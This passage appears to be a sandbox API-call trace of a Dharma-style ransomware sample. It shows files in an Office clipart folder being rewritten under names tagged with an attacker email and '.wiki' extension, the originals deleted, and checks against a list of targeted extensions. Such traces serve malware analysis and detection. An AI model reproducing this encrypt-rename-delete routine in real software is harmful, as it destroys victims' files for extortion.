dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.449] GetLastError () returned 0x0 [0195.449] ReadFile (in: hFile=0x218, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1068, lpOverlapped=0x0) returned 1 [0195.450] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0195.452] ReadFile (in: hFile=0x218, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.452] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.452] SetEndOfFile (hFile=0x1e4) returned 1 [0195.452] CloseHandle (hObject=0x1e4) returned 1 [0195.452] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.452] SetEndOfFile (hFile=0x218) returned 1 [0195.453] CloseHandle (hObject=0x218) returned 1 [0195.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf")) returned 1 [0195.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0195.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0195.453] lstrlenW (lpString=".doc") returned 4 [0195.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.453] lstrlenW (lpString=".docx") returned 5 [0195.453] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.454] lstrlenW (lpString=".pdf") returned 4 [0195.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.454] lstrlenW (lpString=".xls") returned 4 [0195.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.454] lstrlenW (lpString=".xlsx") returned 5 [0195.454] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.454] lstrlenW (lpString=".ppt") returned 4 [0195.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0195.454] lstrlenW (lpString=".zip") returned 4 [0195.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.454] lstrlenW (lpString=".rar") returned 4 [0195.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.454] lstrlenW (lpString=".bz2") returned 4 [0195.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.454] lstrlenW (lpString=".7z") returned 3 [0195.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0195.454] lstrlenW (lpString=".dbf") returned 4 [0195.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0195.454] lstrlenW (lpString=".1cd") returned 4 [0195.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0195.454] lstrlenW (lpString=".jpg") returned 4 [0195.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0195.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0195.454] lstrlenW (lpString=".doc") returned 4 [0195.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.455] lstrlenW (lpString=".docx") returned 5 [0195.455] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.455] lstrlenW (lpString=".pdf") returned 4 [0195.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.455] lstrlenW (lpString=".xls") returned 4 [0195.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.455] lstrlenW (lpString=".xlsx") returned 5 [0195.455] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.455] lstrlenW (lpString=".ppt") returned 4 [0195.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0195.455] lstrlenW (lpString=".zip") returned 4 [0195.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.455] lstrlenW (lpString=".rar") returned 4 [0195.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.455] lstrlenW (lpString=".bz2") returned 4 [0195.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.455] lstrlenW (lpString=".7z") returned 3 [0195.455] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0195.455] lstrlenW (lpString=".dbf") returned 4 [0195.455] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0195.455] lstrlenW (lpString=".1cd") returned 4 [0195.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0195.455] lstrlenW (lpString=".jpg") returned 4 [0195.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.456] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.456] lstrlenW (lpString="J0107502.WMF") returned 12 [0195.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.456] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10836) returned 1 [0195.456] CloseHandle (hObject=0x218) returned 1 [0195.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf")) returned 0x20 [0195.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.456] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.457] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.457] GetLastError () returned 0x0 [0195.457] ReadFile (in: hFile=0x218, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2a54, lpOverlapped=0x0) returned 1 [0195.459] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0195.460] ReadFile (in: hFile=0x218, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.460] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.460] SetEndOfFile (hFile=0x1e4) returned 1 [0195.460] CloseHandle (hObject=0x1e4) returned 1 [0195.460] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.460] SetEndOfFile (hFile=0x218) returned 1 [0195.461] CloseHandle (hObject=0x218) returned 1 [0195.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf")) returned 1 [0195.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0195.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0195.461] lstrlenW (lpString=".doc") returned 4 [0195.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.461] lstrlenW (lpString=".docx") returned 5 [0195.461] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.461] lstrlenW (lpString=".pdf") returned 4 [0195.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.462] lstrlenW (lpString=".xls") returned 4 [0195.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.462] lstrlenW (lpString=".xlsx") returned 5 [0195.462] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.462] lstrlenW (lpString=".ppt") returned 4 [0195.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0195.462] lstrlenW (lpString=".zip") returned 4 [0195.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.462] lstrlenW (lpString=".rar") returned 4 [0195.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.462] lstrlenW (lpString=".bz2") returned 4 [0195.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.462] lstrlenW (lpString=".7z") returned 3 [0195.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0195.462] lstrlenW (lpString=".dbf") returned 4 [0195.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0195.462] lstrlenW (lpString=".1cd") returned 4 [0195.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0195.462] lstrlenW (lpString=".jpg") returned 4 [0195.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0195.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0195.462] lstrlenW (lpString=".doc") returned 4 [0195.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.462] lstrlenW (lpString=".docx") returned 5 [0195.462] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.462] lstrlenW (lpString=".pdf") returned 4 [0195.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.463] lstrlenW (lpString=".xls") returned 4 [0195.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.463] lstrlenW (lpString=".xlsx") returned 5 [0195.463] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.463] lstrlenW (lpString=".ppt") returned 4 [0195.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0195.463] lstrlenW (lpString=".zip") returned 4 [0195.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.463] lstrlenW (lpString=".rar") returned 4 [0195.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.463] lstrlenW (lpString=".bz2") returned 4 [0195.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.463] lstrlenW (lpString=".7z") returned 3 [0195.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0195.463] lstrlenW (lpString=".dbf") returned 4 [0195.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0195.463] lstrlenW (lpString=".1cd") returned 4 [0195.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0195.463] lstrlenW (lpString=".jpg") returned 4 [0195.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.463] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.672] lstrlenW (lpString="J0107512.WMF") returned 12 [0195.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.688] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11404) returned 1 [0195.688] CloseHandle (hObject=0x200) returned 1 [0195.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf")) returned 0x20 [0195.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.703] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.703] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.723] GetLastError () returned 0x0 [0195.723] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2c8c, lpOverlapped=0x0) returned 1 [0195.724] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2c90, lpOverlapped=0x0) returned 1 [0195.725] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.726] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.726] SetEndOfFile (hFile=0x1cc) returned 1 [0195.726] CloseHandle (hObject=0x1cc) returned 1 [0195.726] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.726] SetEndOfFile (hFile=0x200) returned 1 [0195.727] CloseHandle (hObject=0x200) returned 1 [0195.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf")) returned 1 [0195.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0195.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0195.727] lstrlenW (lpString=".doc") returned 4 [0195.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.727] lstrlenW (lpString=".docx") returned 5 [0195.727] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.727] lstrlenW (lpString=".pdf") returned 4 [0195.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.727] lstrlenW (lpString=".xls") returned 4 [0195.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.727] lstrlenW (lpString=".xlsx") returned 5 [0195.727] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.727] lstrlenW (lpString=".ppt") returned 4 [0195.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0195.727] lstrlenW (lpString=".zip") returned 4 [0195.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.728] lstrlenW (lpString=".rar") returned 4 [0195.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.728] lstrlenW (lpString=".bz2") returned 4 [0195.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.728] lstrlenW (lpString=".7z") returned 3 [0195.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0195.728] lstrlenW (lpString=".dbf") returned 4 [0195.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0195.728] lstrlenW (lpString=".1cd") returned 4 [0195.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0195.728] lstrlenW (lpString=".jpg") returned 4 [0195.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0195.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0195.728] lstrlenW (lpString=".doc") returned 4 [0195.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.728] lstrlenW (lpString=".docx") returned 5 [0195.728] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.728] lstrlenW (lpString=".pdf") returned 4 [0195.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.728] lstrlenW (lpString=".xls") returned 4 [0195.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.728] lstrlenW (lpString=".xlsx") returned 5 [0195.728] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.728] lstrlenW (lpString=".ppt") returned 4 [0195.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0195.729] lstrlenW (lpString=".zip") returned 4 [0195.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.729] lstrlenW (lpString=".rar") returned 4 [0195.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.729] lstrlenW (lpString=".bz2") returned 4 [0195.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.729] lstrlenW (lpString=".7z") returned 3 [0195.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0195.729] lstrlenW (lpString=".dbf") returned 4 [0195.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0195.729] lstrlenW (lpString=".1cd") returned 4 [0195.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0195.729] lstrlenW (lpString=".jpg") returned 4 [0195.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.729] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.729] lstrlenW (lpString="J0136865.WMF") returned 12 [0195.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.730] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16710) returned 1 [0195.730] CloseHandle (hObject=0x200) returned 1 [0195.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf")) returned 0x20 [0195.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.730] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.730] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.730] GetLastError () returned 0x0 [0195.731] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4146, lpOverlapped=0x0) returned 1 [0195.732] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, 